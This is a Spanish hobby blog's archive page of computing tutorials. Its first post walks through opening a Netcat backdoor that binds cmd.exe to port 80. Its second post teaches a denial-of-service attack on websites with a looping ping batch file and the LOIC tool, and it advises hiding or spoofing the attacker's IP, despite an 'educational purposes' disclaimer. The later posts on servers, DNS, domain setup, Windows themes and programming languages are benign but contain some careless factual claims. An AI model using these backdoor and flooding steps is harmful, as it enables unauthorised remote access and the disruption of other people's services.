Archivo | Información y Tutoriales RSS feed for this section

Acceder a un pc por control remoto [Tutorial]

13 Jun

En este tutorial trabajaremos con Netcat en Windows. Netcat es una sencilla herramienta de red que permite, a través de comandos, controlar un sistema.

Funciona principalmente como servidor y cliente. Un pc permanece como cliente a la espera mientras que el otro se intenta conectar a este.

Necesitaremos

  • Bajarnos el Netcat de aquí.
  • Extraerlo en Windows/system32.
  • Realizar la operación anterior tanto para el pc cliente como para el servidor.

Ahora tenemos que seguir los dos pasos, tanto los del servidor como los del cliente, utilizando 2 PC´s distintos. Pondré el ejemplo de que un PC será el sobremesa y el otro el portátil.

Poniendo el PC a la escucha – Servidor (Sobremesa)

En el Sobremesa tendremos que activar los puertos para que el Portátil se pueda conectar.

Para ello tenemos que abrir MS-DOS. Inicio/ejecutar/cmd.

Una vez aquí, introducimos el siguiente comando:

nc –l –p 80 –t –e cmd.exe

Ahora, el PC sobremesa ya está escuchando. Sólo tiene que esperar a que el Portátil se conecte.

Accediendo al PC – Cliente (Portátil)

Ahora es nuestro turno, con el portátil accederemos al sobremesa simplemente introduciendo en MS-DOS este comando:

nc xxx.xx.xxx.xx 80

Las X´s indican la IP del servidor y el número 80 el puerto mediante el cual accederemos.

Estupendo, si hasta aquí ha salido todo bien ya estaremos dentro del Sobremesa, eso sí, por MS-DOS. Puede parecer que no se puede controlar un PC por comandos pero aquellas personas te tenga esos conocimientos lo conseguirán.

Errores Frecuentes de funcionamiento

1) Si no funciona prueba a cambiar el puerto 80 por cualquier otro, puede que este esté en uso por cualquier aplicación.

2) Quizás sea que el cortafuegos o Firewall bloquea el puerto anteriormente establecido, por lo que no se puede llevar a cabo la conexión cliente-servidor.

Esto es todo sobre este Backdoor, lo he resumido para no alargarlo mucho. Espero que os haya sido de utilidad.

No me hago responsable del uso que podáis darle a este tutorial. Esta información es compartida únicamente con fines educativos.
Anuncios

Ataque de denegación de servicios [Tutorial]

28 Abr

Un ataque de denegación de servicios (DDOS) consiste en saturar un servidor de peticiones hasta dejarlo totalmente inutilizado temporalmente. Mientras dichas peticiones sigan enviándose el ataque seguirá surgiendo efecto.

Hay que tener en cuenta que para que surja un mayor efecto es recomendable hacerlo con un grupo de personas. Depende de la web, pero con 100 personas bastaría para una web sencilla.

El grupo ciberactivista conocido como Anonymous emplea este tipo ataque con bastante frecuencia para inutilizar servidores webs a modo de protesta.

¿Cómo funciona?

Un servidor web responde constantemente a peticiones y las lleva a cabo. La diferencia es que un ataque de este tipo envía muchísimas más de las que el propio server puede llevar a cabo, unas miles por minuto, por lo tanto se ve “agobiado” y cesa de trabajar hasta recuperarse o hasta que cese el ataque.

Medidas de prevención

Cuando estas tirando un servidor, su propietario puede percatarse de la IP del atacante, por ello debes ocultarla. Es recomendable sustituir la IP de origen por una IP falsa, de forma que no puede detectar quién es el atacante real.

Ahora que sabemos en que consiste y las técnicas de infiltración, veámos como podémos hacerlo.

1ª Forma – Manual

Antes de comenzar debemos saber algunos datos del servidor que vamos a atacar. Para conocer la ip de una web debemos abrir MS-DOS (Botón Inicio+R) y escribir “cmd”. Aparecerá la consola, en ella escribiremos “ping” ó “tracert” seguido de la dirección web.

Ejemplo:

  • ping google.es
  • tracert google.es

Una vez conocida la IP del server, la colocamos en la posición de las X´s. Luego colocamos este código en el blog de notas y lo guardamos con el formato “.bat”.

@echo off
echo DDOS ATTACK 1.0
echo
echo
ping xxx.xxx.xxx.xxx -t -l 15000

Simplemente abriendo el bloc de notas ya se debe de realizar el ataque instantáneamente.

2ª Forma – Automática

También existen aplicaciones que nos ahorran el trabajo a la hora de realizar un ataque de este tipo. Este es el caso del software Loic.

Pasos para realizarlo:
1.– En primer lugar debes introducir la URL el sitio que queremos atacar (en URL, dentro de Selected Target).

2.– Una vez introducida la URL pulsamos Lock on, y en Selected Target saldrá una IP (unos números separados por puntos). Después pulsamos IMMA CHARGIN MAH LAZER.

El programa automáticamente se conectará y empezará a enviar las peticiones. En la parte inferior “Requested” se observa el número de paquetes enviados.

Pues ya habéis aprendido 2 maneras simples de inutilizar un servidor web. esto me recuerda un refrán ‘Más vale tener conocimientos y no necesitarlos que tener que necesitarlos y no tenerlos.’

No me hago responsable del uso que podáis darle a este tutorial. Esta información es compartida únicamente con fines educativos.

Qué es un servidor web y sus tipos

28 Feb

Los sitios web que hay en internet no están por ahí viviendo en los cables, todos están almacenados en un disco duro de algún ordenador.

Cuando algunas página como Dropbox, Horizon Host u otras similares te dan un espacio para tu web, en verdad lo que hacen es cederte un espacio en uno de sus discos duros. Tu web se verá en internet las 24 horas porque ellos tienen sus discos duros conectados siempre a internet.

Un servidor

Es un ordenador que almacena los archivos de una o de muchas páginas web y siempre suelen estar conectados a internet, con sistemas de seguridad, antiincendios y de energías de reserva por si acaso.

Servidor Compartido

Es un ordenador dentro del cual se aloja más de un sitio web.

  • La mayoría de los servidores gratuitos son de este tipo.
  • El inconveniente es que unas webs requieren más rendimiento que otras.
  • Todas las webs comparten los recursos de un mismo pc de manera desigual.
  • Se controlan muy facilmente.

Suponiendo que el HDD es de 1000 Gb, podrá alojar 10 webs de 100 Gb cada una. Si alguna de ellas consume mucha Ram, el resto irán más lentas, si se rompe el disco duro…. se pierden todas.

Servidor Virtual Privado (VPS)

El ordenador divide todos sus recursos entre las web que aloja.

  • Suelen ser de pago, aunque su precio no es muy caro.
  • El punto malo es que si el micro se sobrecarga, todas las webs fallarán.
  • Tanto el HDD como la Ram se reparten a partes iguales, excepto el micro.
  • Su manejo es más sencillo ya que te lo dan casi todo hecho.

Si tiene 6000 megas de ram y 200 webs alojadas, cada una tendrá asegurada 30Mb de ram.

Servidor Dedicado

Se trata de un ordenador (servidor) especialmente para ti. Todo el disco duro, la ram y el micro son solo para la web que alojes en él.

  • Son de pago siempre. También son más caros ya que puedes elegir sus prestaciones.
  • Te aseguras que tus vecinos no te van a molestar.
  • Viene con mucho disco duro, alta tasa de transferencia, puedes colocar más de una web.
  • Son más difíciles de para manejar.

Siempre que hago entradas para informar de este tipo, acabo contento porque aprendo sin darme cuenta. Espero que vosotros también aprendáis por gusto como yo.

¿Qué son realmente las direcciónes DNS?

20 Feb

¿Nunca te has fijado que cuando los navegadores están cargando un sitio web, debajo pone “Resolviendo dirección”?

Esto sucede por que la página web que has introducido se está traduciendo al sitio en el que realmente está alojada, es decir, está traduciendo su IP gracias a los servidores DNS.

Pongamos un ejemplo

Si colocas en la barra de direcciones de vuestro navegador http://www.google.es/  os saldrá la web de Google al igual que si ponen http://173.194.34.24/.

Esto es debido a que realmente estás accediendo a la IP no a la dirección web.

Para comprobarlo, si accedes a Google por su IP verás que la web carga en menos tiempo debido a que los seridores DNS no tienen la necesidad de traducir la página.

¿Quién traduce las direcciones web a IP?

Pues de ello se encargan los servidores DNS, es por decirlo así como un intermediario que nos facilita el trabajo de cambiarnos a la dirección IP.

Las direcciones web no son más que un pseudónimo que se usa para que sea más fácil de recordar a los usuarios. No tienen más utilidad que esa.

¿Existen ventajas e inconvenientes?

El principal inconveniente es tener que preguntar al DNS cual es la IP de cada dirección web y que nos envíe la respuesta tarda un tiempo, pero según donde nos encontremos, un servidor DNS nos puede ir más rápido que otro.

Existen soluciones para evitar esto. Hay aplicaciones como por ejemplo Namebench, que nos dice, basándose en nuestra conexión y en el lugar desde el que navegamos, cual es la configuración DNS más adecuada a nuestra red.

Cómo tener un dominio propio y configurarlo [Blogger]

15 Feb

Voy a explicaros como conseguir un dominio para vuestro sitio web y cómo configurarlo. Pondré como ejemplo el dominio “.es” de este blog que adquirí en Webfusion.

1) Buscar el dominio

El primer paso es buscar un dominio que esté disponible y sea el más acorde a vuestro presupuesto. En general, no suelen ser caros.

Cuando lo hayáis encontrado procedéis a pagarlo mediante Transferencia Bancaria o Paypal.

2)Configurar el dominio

    2.1) Restablecer las DNS

    Una vez creada la cuenta en Webfusion con el dominio ya comprado, tenemos que ir a una opción que se encuentra en el perfil de tu cuenta. Dicha opción se llama “Asignar servidores DNS” (Restablecer las DNS) y allí tenemos que dejar las que aparecen de serie, es decir, por defecto, y dar a aceptar.

    Los cambios pueden tardar hasta 48 horas en hacerse efectivos. Durante este periodo de tiempo, la página web puede verse interrumpida.

     
    2.2) Configurar las DNS a partir de las de Google

    Ir a Ajustes de DNS y poner exatamente como sale en la foto. También se encuentra esta opción en tu perfil.

                                               @          CNAME         ghs.google.com.
                                             www       CNAME         ghs.google.com.

    2.3) Redirigir el dominio de blogger al nuevo

    Luego vamos a blogger (antiguo) y en configuración, opciones avanzadas, agregar el dominio .es (el que haya comprado) en tu blog… y a esperar. 

     El tiempo puede ser desde minutos hasta un día, depende de cada blog y dominio adquirido.

Desde mi punto de vista no creo que sea difícil pero si tenéis alguna duda sólo comentadlo e intentaremos resolverla.

Personaliza el aspecto visual de tu windows 7

9 Feb

Llevo tiempo intentando averiguar como mejorar mi escritorio para que tenga un diseño elegante y sofisticado. Gracias a la web Deviantart lo he conseguido en mi pc y me gustaría compartirlo con vosotros. Aquí os dejo los pasos para dejarlo igual de agradable para la vista.

1) Aplicar Temas

En primer lugar lo cambiaremos por uno más bonito que los que trae por defecto windows. Este tema llamado SOFT7 2.0 fue diseñado por AP-GRAPHIK de deviantART.Es uno de los que más bonitos he visto para mi gusto.

Nos lo bajamos y una vez extraído el contenido del archivo comprimido, dirígete a la carpeta Estilos Visuales. Copia el contenido del tema que seleccionaste y pégalo en el directorio C:\Windows\Resources\Themes.

2) Cambiar icono de inicio de la barra de tareas

Para modificar el icono de inicio debemos tener la aplicación Start Button Changer. La iniciamos y simplemente seleccionamos el icono que deseamos colocar.

3) Modificar iconos de la barra de tareas

Esos iconos en tonalidades negras que podéis ver van acompañados del diseño del tema. Se ven muy estéticos. Para tenerlos tenéis que iniciar el software 7CONIFIER. Seleccionáis el paquete de iconos más adecuados a vuestro gusto y dáis en aplicar.

Espero que este pequeño tutorial os haya sido útil. Intentaré hacer una segunda parte más adelante.

Información sobre Lenguajes Informáticos

24 Ene
informacion, lenguajes, informaticos, programacion, descripcion, marcado

Un lenguaje informático es un lenguaje empleados por ordenadores. Muchas veces, este término es usado como sinónimo de lenguaje de programación, pero un lenguaje informático no tiene por qué ser un lenguaje de programación.

Tipos de Lenguajes
  • Lenguaje informático (abarca a todos)
  • Lenguajes de descripción (ej. CSS)
  • Lenguajes de marcado (ej. HTML)
  • Lenguajes de programación (ej. JavaScript)
Lenguajes de descripción
informacion, lenguajes, informaticos, programacion, descripcion, marcado

Son lenguajes cuya función principal no es hacer programas, si no describir cómo se representan los datos.

Algunos de ellos son:

  • Páginas web (HTML, CSS)
  • Ecuaciones (MathML, LaTeX, CML)
  • Representaciones geográficas (GML)
  • Puntos geográficos (waypoints)
  • Subtítulos (VobSub, OGM)
  • Animaciones (SMIL)
  • Imágenes vectoriales (SVG)
  • Representaciones 3D (X3D)

Lenguajes de marcado
informacion, lenguajes, informaticos, programacion, descripcion, marcado

Codifican un documento que contienen información adicional acerca de la estructura del texto o su presentación.

El lenguaje de este tipo más extendido es el HTML “HyperText Markup Language”, fundamento del World Wide Web.

Un ejemplo de cómo funciona el lenguaje de marcado puede observarse en el dictado de viva voz de un documento a una persona que lo transcribe a máquina: Ponga estilo de carta. ponga comillas, ponga mayúsculas, Estimado Juan, ponga dos puntos, aparte, sangría, ponga primera letra mayúscula, te escribo esta carta, ponga negrillas, de forma muy urgente, cierre negrilla, ya que no me has enviado… etc”.

Lenguajes de programación
informacion, lenguajes, informaticos, programacion, descripcion, marcado

Es un idioma diseñado para mandar órdenes que pueden ser llevadas a cabo por ordenadores.

Suelen usarse para crear programas que controlen el comportamiento de una máquina, expresen algoritmos con precisión, o como modo de comunicación humana.

Entre ellos podemos encontrar:

  • C, C+ y C++ – Sistemas Operativos(Unix)
  • Java – Scripts(programación web)
  • PHP – Desarrollo de sitios web dinámicos
  • MATLAB – Cálculos matemáticos
  • BASIC – Programación para fines educativos
  • LISP – Inteligencia artificial

Antes de crear esta entrada os aseguro que yo no tenía ni idea de la diferencia de los tipos de lenguajes informáticos. Sólo os diré que pensaba que el CSS era un tipo de lenguaje de programación. Espero que vosotros también hayáis aprendido algo de todo esto.